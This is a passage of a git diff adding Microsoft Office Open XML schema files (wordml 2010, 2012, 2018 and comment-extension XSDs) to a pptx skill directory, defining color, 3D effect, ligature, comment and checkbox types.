<xsd:enumeration value="0"/> + <xsd:enumeration value="1"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_OnOff"> + <xsd:attribute name="val" type="ST_OnOff"/> + </xsd:complexType> + <xsd:element name="docId" type="CT_LongHexNumber"/> + <xsd:element name="conflictMode" type="CT_OnOff"/> + <xsd:attributeGroup name="AG_Parids"> + <xsd:attribute name="paraId" type="w:ST_LongHexNumber"/> + <xsd:attribute name="textId" type="w:ST_LongHexNumber"/> + </xsd:attributeGroup> + <xsd:attribute name="anchorId" type="w:ST_LongHexNumber"/> + <xsd:attribute name="noSpellErr" type="ST_OnOff"/> + <xsd:element name="customXmlConflictInsRangeStart" type="w:CT_TrackChange"/> + <xsd:element name="customXmlConflictInsRangeEnd" type="w:CT_Markup"/> + <xsd:element name="customXmlConflictDelRangeStart" type="w:CT_TrackChange"/> + <xsd:element name="customXmlConflictDelRangeEnd" type="w:CT_Markup"/> + <xsd:group name="EG_RunLevelConflicts"> + <xsd:sequence> + <xsd:element name="conflictIns" type="w:CT_RunTrackChange" minOccurs="0"/> + <xsd:element name="conflictDel" type="w:CT_RunTrackChange" minOccurs="0"/> + </xsd:sequence> + </xsd:group> + <xsd:group name="EG_Conflicts"> + <xsd:choice> + <xsd:element name="conflictIns" type="w:CT_TrackChange" minOccurs="0"/> + <xsd:element name="conflictDel" type="w:CT_TrackChange" minOccurs="0"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_Percentage"> + <xsd:attribute name="val" type="a:ST_Percentage" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_PositiveFixedPercentage"> + <xsd:attribute name="val" type="a:ST_PositiveFixedPercentage" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_PositivePercentage"> + <xsd:attribute name="val" type="a:ST_PositivePercentage" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_SchemeColorVal"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="bg1"/> + <xsd:enumeration value="tx1"/> + <xsd:enumeration value="bg2"/> + <xsd:enumeration value="tx2"/> + <xsd:enumeration value="accent1"/> + <xsd:enumeration value="accent2"/> + <xsd:enumeration value="accent3"/> + <xsd:enumeration value="accent4"/> + <xsd:enumeration value="accent5"/> + <xsd:enumeration value="accent6"/> + <xsd:enumeration value="hlink"/> + <xsd:enumeration value="folHlink"/> + <xsd:enumeration value="dk1"/> + <xsd:enumeration value="lt1"/> + <xsd:enumeration value="dk2"/> + <xsd:enumeration value="lt2"/> + <xsd:enumeration value="phClr"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_RectAlignment"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="tl"/> + <xsd:enumeration value="t"/> + <xsd:enumeration value="tr"/> + <xsd:enumeration value="l"/> + <xsd:enumeration value="ctr"/> + <xsd:enumeration value="r"/> + <xsd:enumeration value="bl"/> + <xsd:enumeration value="b"/> + <xsd:enumeration value="br"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_PathShadeType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="shape"/> + <xsd:enumeration value="circle"/> + <xsd:enumeration value="rect"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_LineCap"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="rnd"/> + <xsd:enumeration value="sq"/> + <xsd:enumeration value="flat"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_PresetLineDashVal"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="solid"/> + <xsd:enumeration value="dot"/> + <xsd:enumeration value="sysDot"/> + <xsd:enumeration value="dash"/> + <xsd:enumeration value="sysDash"/> + <xsd:enumeration value="lgDash"/> + <xsd:enumeration value="dashDot"/> + <xsd:enumeration value="sysDashDot"/> + <xsd:enumeration value="lgDashDot"/> + <xsd:enumeration value="lgDashDotDot"/> + <xsd:enumeration value="sysDashDotDot"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_PenAlignment"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="ctr"/> + <xsd:enumeration value="in"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_CompoundLine"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="sng"/> + <xsd:enumeration value="dbl"/> + <xsd:enumeration value="thickThin"/> + <xsd:enumeration value="thinThick"/> + <xsd:enumeration value="tri"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_RelativeRect"> + <xsd:attribute name="l" use="optional" type="a:ST_Percentage"/> + <xsd:attribute name="t" use="optional" type="a:ST_Percentage"/> + <xsd:attribute name="r" use="optional" type="a:ST_Percentage"/> + <xsd:attribute name="b" use="optional" type="a:ST_Percentage"/> + </xsd:complexType> + <xsd:group name="EG_ColorTransform"> + <xsd:choice> + <xsd:element name="tint" type="CT_PositiveFixedPercentage"/> + <xsd:element name="shade" type="CT_PositiveFixedPercentage"/> + <xsd:element name="alpha" type="CT_PositiveFixedPercentage"/> + <xsd:element name="hueMod" type="CT_PositivePercentage"/> + <xsd:element name="sat" type="CT_Percentage"/> + <xsd:element name="satOff" type="CT_Percentage"/> + <xsd:element name="satMod" type="CT_Percentage"/> + <xsd:element name="lum" type="CT_Percentage"/> + <xsd:element name="lumOff" type="CT_Percentage"/> + <xsd:element name="lumMod" type="CT_Percentage"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_SRgbColor"> + <xsd:sequence> + <xsd:group ref="EG_ColorTransform" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="val" type="s:ST_HexColorRGB" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_SchemeColor"> + <xsd:sequence> + <xsd:group ref="EG_ColorTransform" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="val" type="ST_SchemeColorVal" use="required"/> + </xsd:complexType> + <xsd:group name="EG_ColorChoice"> + <xsd:choice> + <xsd:element name="srgbClr" type="CT_SRgbColor"/> + <xsd:element name="schemeClr" type="CT_SchemeColor"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_Color"> + <xsd:sequence> + <xsd:group ref="EG_ColorChoice"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_GradientStop"> + <xsd:sequence> + <xsd:group ref="EG_ColorChoice"/> + </xsd:sequence> + <xsd:attribute name="pos" type="a:ST_PositiveFixedPercentage" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_GradientStopList"> + <xsd:sequence> + <xsd:element name="gs" type="CT_GradientStop" minOccurs="2" maxOccurs="10"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_LinearShadeProperties"> + <xsd:attribute name="ang" type="a:ST_PositiveFixedAngle" use="optional"/> + <xsd:attribute name="scaled" type="ST_OnOff" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_PathShadeProperties"> + <xsd:sequence> + <xsd:element name="fillToRect" type="CT_RelativeRect" minOccurs="0"/> + </xsd:sequence> + <xsd:attribute name="path" type="ST_PathShadeType" use="optional"/> + </xsd:complexType> + <xsd:group name="EG_ShadeProperties"> + <xsd:choice> + <xsd:element name="lin" type="CT_LinearShadeProperties"/> + <xsd:element name="path" type="CT_PathShadeProperties"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_SolidColorFillProperties"> + <xsd:sequence> + <xsd:group ref="EG_ColorChoice" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_GradientFillProperties"> + <xsd:sequence> + <xsd:element name="gsLst" type="CT_GradientStopList" minOccurs="0"/> + <xsd:group ref="EG_ShadeProperties" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:group name="EG_FillProperties"> + <xsd:choice> + <xsd:element name="noFill" type="w:CT_Empty"/> + <xsd:element name="solidFill" type="CT_SolidColorFillProperties"/> + <xsd:element name="gradFill" type="CT_GradientFillProperties"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_PresetLineDashProperties"> + <xsd:attribute name="val" type="ST_PresetLineDashVal" use="optional"/> + </xsd:complexType> + <xsd:group name="EG_LineDashProperties"> + <xsd:choice> + <xsd:element name="prstDash" type="CT_PresetLineDashProperties"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_LineJoinMiterProperties"> + <xsd:attribute name="lim" type="a:ST_PositivePercentage" use="optional"/> + </xsd:complexType> + <xsd:group name="EG_LineJoinProperties"> + <xsd:choice> + <xsd:element name="round" type="w:CT_Empty"/> + <xsd:element name="bevel" type="w:CT_Empty"/> + <xsd:element name="miter" type="CT_LineJoinMiterProperties"/> + </xsd:choice> + </xsd:group> + <xsd:simpleType name="ST_PresetCameraType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="legacyObliqueTopLeft"/> + <xsd:enumeration value="legacyObliqueTop"/> + <xsd:enumeration value="legacyObliqueTopRight"/> + <xsd:enumeration value="legacyObliqueLeft"/> + <xsd:enumeration value="legacyObliqueFront"/> + <xsd:enumeration value="legacyObliqueRight"/> + <xsd:enumeration value="legacyObliqueBottomLeft"/> + <xsd:enumeration value="legacyObliqueBottom"/> + <xsd:enumeration value="legacyObliqueBottomRight"/> + <xsd:enumeration value="legacyPerspectiveTopLeft"/> + <xsd:enumeration value="legacyPerspectiveTop"/> + <xsd:enumeration value="legacyPerspectiveTopRight"/> + <xsd:enumeration value="legacyPerspectiveLeft"/> + <xsd:enumeration value="legacyPerspectiveFront"/> + <xsd:enumeration value="legacyPerspectiveRight"/> + <xsd:enumeration value="legacyPerspectiveBottomLeft"/> + <xsd:enumeration value="legacyPerspectiveBottom"/> + <xsd:enumeration value="legacyPerspectiveBottomRight"/> + <xsd:enumeration value="orthographicFront"/> + <xsd:enumeration value="isometricTopUp"/> + <xsd:enumeration value="isometricTopDown"/> + <xsd:enumeration value="isometricBottomUp"/> + <xsd:enumeration value="isometricBottomDown"/> + <xsd:enumeration value="isometricLeftUp"/> + <xsd:enumeration value="isometricLeftDown"/> + <xsd:enumeration value="isometricRightUp"/> + <xsd:enumeration value="isometricRightDown"/> + <xsd:enumeration value="isometricOffAxis1Left"/> + <xsd:enumeration value="isometricOffAxis1Right"/> + <xsd:enumeration value="isometricOffAxis1Top"/> + <xsd:enumeration value="isometricOffAxis2Left"/> + <xsd:enumeration value="isometricOffAxis2Right"/> + <xsd:enumeration value="isometricOffAxis2Top"/> + <xsd:enumeration value="isometricOffAxis3Left"/> + <xsd:enumeration value="isometricOffAxis3Right"/> + <xsd:enumeration value="isometricOffAxis3Bottom"/> + <xsd:enumeration value="isometricOffAxis4Left"/> + <xsd:enumeration value="isometricOffAxis4Right"/> + <xsd:enumeration value="isometricOffAxis4Bottom"/> + <xsd:enumeration value="obliqueTopLeft"/> + <xsd:enumeration value="obliqueTop"/> + <xsd:enumeration value="obliqueTopRight"/> + <xsd:enumeration value="obliqueLeft"/> + <xsd:enumeration value="obliqueRight"/> + <xsd:enumeration value="obliqueBottomLeft"/> + <xsd:enumeration value="obliqueBottom"/> + <xsd:enumeration value="obliqueBottomRight"/> + <xsd:enumeration value="perspectiveFront"/> + <xsd:enumeration value="perspectiveLeft"/> + <xsd:enumeration value="perspectiveRight"/> + <xsd:enumeration value="perspectiveAbove"/> + <xsd:enumeration value="perspectiveBelow"/> + <xsd:enumeration value="perspectiveAboveLeftFacing"/> + <xsd:enumeration value="perspectiveAboveRightFacing"/> + <xsd:enumeration value="perspectiveContrastingLeftFacing"/> + <xsd:enumeration value="perspectiveContrastingRightFacing"/> + <xsd:enumeration value="perspectiveHeroicLeftFacing"/> + <xsd:enumeration value="perspectiveHeroicRightFacing"/> + <xsd:enumeration value="perspectiveHeroicExtremeLeftFacing"/> + <xsd:enumeration value="perspectiveHeroicExtremeRightFacing"/> + <xsd:enumeration value="perspectiveRelaxed"/> + <xsd:enumeration value="perspectiveRelaxedModerately"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Camera"> + <xsd:attribute name="prst" use="required" type="ST_PresetCameraType"/> + </xsd:complexType> + <xsd:complexType name="CT_SphereCoords"> + <xsd:attribute name="lat" type="a:ST_PositiveFixedAngle" use="required"/> + <xsd:attribute name="lon" type="a:ST_PositiveFixedAngle" use="required"/> + <xsd:attribute name="rev" type="a:ST_PositiveFixedAngle" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_LightRigType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="legacyFlat1"/> + <xsd:enumeration value="legacyFlat2"/> + <xsd:enumeration value="legacyFlat3"/> + <xsd:enumeration value="legacyFlat4"/> + <xsd:enumeration value="legacyNormal1"/> + <xsd:enumeration value="legacyNormal2"/> + <xsd:enumeration value="legacyNormal3"/> + <xsd:enumeration value="legacyNormal4"/> + <xsd:enumeration value="legacyHarsh1"/> + <xsd:enumeration value="legacyHarsh2"/> + <xsd:enumeration value="legacyHarsh3"/> + <xsd:enumeration value="legacyHarsh4"/> + <xsd:enumeration value="threePt"/> + <xsd:enumeration value="balanced"/> + <xsd:enumeration value="soft"/> + <xsd:enumeration value="harsh"/> + <xsd:enumeration value="flood"/> + <xsd:enumeration value="contrasting"/> + <xsd:enumeration value="morning"/> + <xsd:enumeration value="sunrise"/> + <xsd:enumeration value="sunset"/> + <xsd:enumeration value="chilly"/> + <xsd:enumeration value="freezing"/> + <xsd:enumeration value="flat"/> + <xsd:enumeration value="twoPt"/> + <xsd:enumeration value="glow"/> + <xsd:enumeration value="brightRoom"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_LightRigDirection"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="tl"/> + <xsd:enumeration value="t"/> + <xsd:enumeration value="tr"/> + <xsd:enumeration value="l"/> + <xsd:enumeration value="r"/> + <xsd:enumeration value="bl"/> + <xsd:enumeration value="b"/> + <xsd:enumeration value="br"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_LightRig"> + <xsd:sequence> + <xsd:element name="rot" type="CT_SphereCoords" minOccurs="0"/> + </xsd:sequence> + <xsd:attribute name="rig" type="ST_LightRigType" use="required"/> + <xsd:attribute name="dir" type="ST_LightRigDirection" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_BevelPresetType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="relaxedInset"/> + <xsd:enumeration value="circle"/> + <xsd:enumeration value="slope"/> + <xsd:enumeration value="cross"/> + <xsd:enumeration value="angle"/> + <xsd:enumeration value="softRound"/> + <xsd:enumeration value="convex"/> + <xsd:enumeration value="coolSlant"/> + <xsd:enumeration value="divot"/> + <xsd:enumeration value="riblet"/> + <xsd:enumeration value="hardEdge"/> + <xsd:enumeration value="artDeco"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Bevel"> + <xsd:attribute name="w" type="a:ST_PositiveCoordinate" use="optional"/> + <xsd:attribute name="h" type="a:ST_PositiveCoordinate" use="optional"/> + <xsd:attribute name="prst" type="ST_BevelPresetType" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_PresetMaterialType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="legacyMatte"/> + <xsd:enumeration value="legacyPlastic"/> + <xsd:enumeration value="legacyMetal"/> + <xsd:enumeration value="legacyWireframe"/> + <xsd:enumeration value="matte"/> + <xsd:enumeration value="plastic"/> + <xsd:enumeration value="metal"/> + <xsd:enumeration value="warmMatte"/> + <xsd:enumeration value="translucentPowder"/> + <xsd:enumeration value="powder"/> + <xsd:enumeration value="dkEdge"/> + <xsd:enumeration value="softEdge"/> + <xsd:enumeration value="clear"/> + <xsd:enumeration value="flat"/> + <xsd:enumeration value="softmetal"/> + <xsd:enumeration value="none"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Glow"> + <xsd:sequence> + <xsd:group ref="EG_ColorChoice"/> + </xsd:sequence> + <xsd:attribute name="rad" use="optional" type="a:ST_PositiveCoordinate"/> + </xsd:complexType> + <xsd:complexType name="CT_Shadow"> + <xsd:sequence> + <xsd:group ref="EG_ColorChoice"/> + </xsd:sequence> + <xsd:attribute name="blurRad" use="optional" type="a:ST_PositiveCoordinate"/> + <xsd:attribute name="dist" use="optional" type="a:ST_PositiveCoordinate"/> + <xsd:attribute name="dir" use="optional" type="a:ST_PositiveFixedAngle"/> + <xsd:attribute name="sx" use="optional" type="a:ST_Percentage"/> + <xsd:attribute name="sy" use="optional" type="a:ST_Percentage"/> + <xsd:attribute name="kx" use="optional" type="a:ST_FixedAngle"/> + <xsd:attribute name="ky" use="optional" type="a:ST_FixedAngle"/> + <xsd:attribute name="algn" use="optional" type="ST_RectAlignment"/> + </xsd:complexType> + <xsd:complexType name="CT_Reflection"> + <xsd:attribute name="blurRad" use="optional" type="a:ST_PositiveCoordinate"/> + <xsd:attribute name="stA" use="optional" type="a:ST_PositiveFixedPercentage"/> + <xsd:attribute name="stPos" use="optional" type="a:ST_PositiveFixedPercentage"/> + <xsd:attribute name="endA" use="optional" type="a:ST_PositiveFixedPercentage"/> + <xsd:attribute name="endPos" use="optional" type="a:ST_PositiveFixedPercentage"/> + <xsd:attribute name="dist" use="optional" type="a:ST_PositiveCoordinate"/> + <xsd:attribute name="dir" use="optional" type="a:ST_PositiveFixedAngle"/> + <xsd:attribute name="fadeDir" use="optional" type="a:ST_PositiveFixedAngle"/> + <xsd:attribute name="sx" use="optional" type="a:ST_Percentage"/> + <xsd:attribute name="sy" use="optional" type="a:ST_Percentage"/> + <xsd:attribute name="kx" use="optional" type="a:ST_FixedAngle"/> + <xsd:attribute name="ky" use="optional" type="a:ST_FixedAngle"/> + <xsd:attribute name="algn" use="optional" type="ST_RectAlignment"/> + </xsd:complexType> + <xsd:complexType name="CT_FillTextEffect"> + <xsd:sequence> + <xsd:group ref="EG_FillProperties" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TextOutlineEffect"> + <xsd:sequence> + <xsd:group ref="EG_FillProperties" minOccurs="0"/> + <xsd:group ref="EG_LineDashProperties" minOccurs="0"/> + <xsd:group ref="EG_LineJoinProperties" minOccurs="0"/> + </xsd:sequence> + <xsd:attribute name="w" use="optional" type="a:ST_LineWidth"/> + <xsd:attribute name="cap" use="optional" type="ST_LineCap"/> + <xsd:attribute name="cmpd" use="optional" type="ST_CompoundLine"/> + <xsd:attribute name="algn" use="optional" type="ST_PenAlignment"/> + </xsd:complexType> + <xsd:complexType name="CT_Scene3D"> + <xsd:sequence> + <xsd:element name="camera" type="CT_Camera"/> + <xsd:element name="lightRig" type="CT_LightRig"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Props3D"> + <xsd:sequence> + <xsd:element name="bevelT" type="CT_Bevel" minOccurs="0"/> + <xsd:element name="bevelB" type="CT_Bevel" minOccurs="0"/> + <xsd:element name="extrusionClr" type="CT_Color" minOccurs="0"/> + <xsd:element name="contourClr" type="CT_Color" minOccurs="0"/> + </xsd:sequence> + <xsd:attribute name="extrusionH" type="a:ST_PositiveCoordinate" use="optional"/> + <xsd:attribute name="contourW" type="a:ST_PositiveCoordinate" use="optional"/> + <xsd:attribute name="prstMaterial" type="ST_PresetMaterialType" use="optional"/> + </xsd:complexType> + <xsd:group name="EG_RPrTextEffects"> + <xsd:sequence> + <xsd:element name="glow" minOccurs="0" type="CT_Glow"/> + <xsd:element name="shadow" minOccurs="0" type="CT_Shadow"/> + <xsd:element name="reflection" minOccurs="0" type="CT_Reflection"/> + <xsd:element name="textOutline" minOccurs="0" type="CT_TextOutlineEffect"/> + <xsd:element name="textFill" minOccurs="0" type="CT_FillTextEffect"/> + <xsd:element name="scene3d" minOccurs="0" type="CT_Scene3D"/> + <xsd:element name="props3d" minOccurs="0" type="CT_Props3D"/> + </xsd:sequence> + </xsd:group> + <xsd:simpleType name="ST_Ligatures"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="standard"/> + <xsd:enumeration value="contextual"/> + <xsd:enumeration value="historical"/> + <xsd:enumeration value="discretional"/> + <xsd:enumeration value="standardContextual"/> + <xsd:enumeration value="standardHistorical"/> + <xsd:enumeration value="contextualHistorical"/> + <xsd:enumeration value="standardDiscretional"/> + <xsd:enumeration value="contextualDiscretional"/> + <xsd:enumeration value="historicalDiscretional"/> + <xsd:enumeration value="standardContextualHistorical"/> + <xsd:enumeration value="standardContextualDiscretional"/> + <xsd:enumeration value="standardHistoricalDiscretional"/> + <xsd:enumeration value="contextualHistoricalDiscretional"/> + <xsd:enumeration value="all"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Ligatures"> + <xsd:attribute name="val" type="ST_Ligatures" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_NumForm"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="default"/> + <xsd:enumeration value="lining"/> + <xsd:enumeration value="oldStyle"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_NumForm"> + <xsd:attribute name="val" type="ST_NumForm" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_NumSpacing"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="default"/> + <xsd:enumeration value="proportional"/> + <xsd:enumeration value="tabular"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_NumSpacing"> + <xsd:attribute name="val" type="ST_NumSpacing" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_StyleSet"> + <xsd:attribute name="id" type="s:ST_UnsignedDecimalNumber" use="required"/> + <xsd:attribute name="val" type="ST_OnOff" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_StylisticSets"> + <xsd:sequence minOccurs="0"> + <xsd:element name="styleSet" minOccurs="0" maxOccurs="unbounded" type="CT_StyleSet"/> + </xsd:sequence> + </xsd:complexType> + <xsd:group name="EG_RPrOpenType"> + <xsd:sequence> + <xsd:element name="ligatures" minOccurs="0" type="CT_Ligatures"/> + <xsd:element name="numForm" minOccurs="0" type="CT_NumForm"/> + <xsd:element name="numSpacing" minOccurs="0" type="CT_NumSpacing"/> + <xsd:element name="stylisticSets" minOccurs="0" type="CT_StylisticSets"/> + <xsd:element name="cntxtAlts" minOccurs="0" type="CT_OnOff"/> + </xsd:sequence> + </xsd:group> + <xsd:element name="discardImageEditingData" type="CT_OnOff"/> + <xsd:element name="defaultImageDpi" type="CT_DefaultImageDpi"/> + <xsd:complexType name="CT_DefaultImageDpi"> + <xsd:attribute name="val" type="w:ST_DecimalNumber" use="required"/> + </xsd:complexType> + <xsd:element name="entityPicker" type="w:CT_Empty"/> + <xsd:complexType name="CT_SdtCheckboxSymbol"> + <xsd:attribute name="font" type="s:ST_String"/> + <xsd:attribute name="val" type="w:ST_ShortHexNumber"/> + </xsd:complexType> + <xsd:complexType name="CT_SdtCheckbox"> + <xsd:sequence> + <xsd:element name="checked" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="checkedState" type="CT_SdtCheckboxSymbol" minOccurs="0"/> + <xsd:element name="uncheckedState" type="CT_SdtCheckboxSymbol" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="checkbox" type="CT_SdtCheckbox"/> + </xsd:schema> diff --git a/skills/pptx/ooxml/schemas/microsoft/wml-2012.xsd b/skills/pptx/ooxml/schemas/microsoft/wml-2012.xsd new file mode 100644 index 00000000..6b00755a --- /dev/null +++ b/skills/pptx/ooxml/schemas/microsoft/wml-2012.xsd @@ -0,0 +1,67 @@ + <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.microsoft.com/office/word/2012/wordml" targetNamespace="http://schemas.microsoft.com/office/word/2012/wordml"> + <xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="../ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd"/> + <xsd:element name="color" type="w12:CT_Color"/> + <xsd:simpleType name="ST_SdtAppearance"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="boundingBox"/> + <xsd:enumeration value="tags"/> + <xsd:enumeration value="hidden"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:element name="dataBinding" type="w12:CT_DataBinding"/> + <xsd:complexType name="CT_SdtAppearance"> + <xsd:attribute name="val" type="ST_SdtAppearance"/> + </xsd:complexType> + <xsd:element name="appearance" type="CT_SdtAppearance"/> + <xsd:complexType name="CT_CommentsEx"> + <xsd:sequence> + <xsd:element name="commentEx" type="CT_CommentEx" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_CommentEx"> + <xsd:attribute name="paraId" type="w12:ST_LongHexNumber" use="required"/> + <xsd:attribute name="paraIdParent" type="w12:ST_LongHexNumber" use="optional"/> + <xsd:attribute name="done" type="s:ST_OnOff" use="optional"/> + </xsd:complexType> + <xsd:element name="commentsEx" type="CT_CommentsEx"/> + <xsd:complexType name="CT_People"> + <xsd:sequence> + <xsd:element name="person" type="CT_Person" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_PresenceInfo"> + <xsd:attribute name="providerId" type="xsd:string" use="required"/> + <xsd:attribute name="userId" type="xsd:string" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Person"> + <xsd:sequence> + <xsd:element name="presenceInfo" type="CT_PresenceInfo" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="author" type="s:ST_String" use="required"/> + </xsd:complexType> + <xsd:element name="people" type="CT_People"/> + <xsd:complexType name="CT_SdtRepeatedSection"> + <xsd:sequence> + <xsd:element name="sectionTitle" type="w12:CT_String" minOccurs="0"/> + <xsd:element name="doNotAllowInsertDeleteSection" type="w12:CT_OnOff" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_Guid"> + <xsd:restriction base="xsd:token"> + <xsd:pattern value="\{[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}\}"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Guid"> + <xsd:attribute name="val" type="ST_Guid"/> + </xsd:complexType> + <xsd:element name="repeatingSection" type="CT_SdtRepeatedSection"/> + <xsd:element name="repeatingSectionItem" type="w12:CT_Empty"/> + <xsd:element name="chartTrackingRefBased" type="w12:CT_OnOff"/> + <xsd:element name="collapsed" type="w12:CT_OnOff"/> + <xsd:element name="docId" type="CT_Guid"/> + <xsd:element name="footnoteColumns" type="w12:CT_DecimalNumber"/> + <xsd:element name="webExtensionLinked" type="w12:CT_OnOff"/> + <xsd:element name="webExtensionCreated" type="w12:CT_OnOff"/> + <xsd:attribute name="restartNumberingAfterBreak" type="s:ST_OnOff"/> + </xsd:schema> diff --git a/skills/pptx/ooxml/schemas/microsoft/wml-2018.xsd b/skills/pptx/ooxml/schemas/microsoft/wml-2018.xsd new file mode 100644 index 00000000..f321d333 --- /dev/null +++ b/skills/pptx/ooxml/schemas/microsoft/wml-2018.xsd @@ -0,0 +1,14 @@ + <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.microsoft.com/office/word/2018/wordml" targetNamespace="http://schemas.microsoft.com/office/word/2018/wordml"> + <xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/> + <xsd:complexType name="CT_Extension"> + <xsd:sequence> + <xsd:any processContents="lax"/> + </xsd:sequence> + <xsd:attribute name="uri" type="xsd:token"/> + </xsd:complexType> + <xsd:complexType name="CT_ExtensionList"> + <xsd:sequence> + <xsd:element name="ext" type="CT_Extension" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + </xsd:schema> diff --git a/skills/pptx/ooxml/schemas/microsoft/wml-cex-2018.xsd b/skills/pptx/ooxml/schemas/microsoft/wml-cex-2018.xsd new file mode 100644 index 00000000..364c6a9b --- /dev/null +++ b/skills/pptx/ooxml/schemas/microsoft/wml-cex-2018.xsd @@ -0,0 +1,20 @@ + <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" xmlns:w16="http://schemas.microsoft.com/office/word/2018/wordml" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.microsoft.com/office/word/2018/wordml/cex" targetNamespace="http://schemas.microsoft.com/office/word/2018/wordml/cex"> + <xsd:import id="w16" namespace="http://schemas.microsoft.com/office/word/2018/wordml" schemaLocation="wml-2018.xsd"/> + <xsd:import id="w" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/> + <xsd:import id="s" namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" schemaLocation="../ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd"/> + <xsd:complexType name="CT_CommentsExtensible"> + <xsd:sequence> + <xsd:element name="commentExtensible" 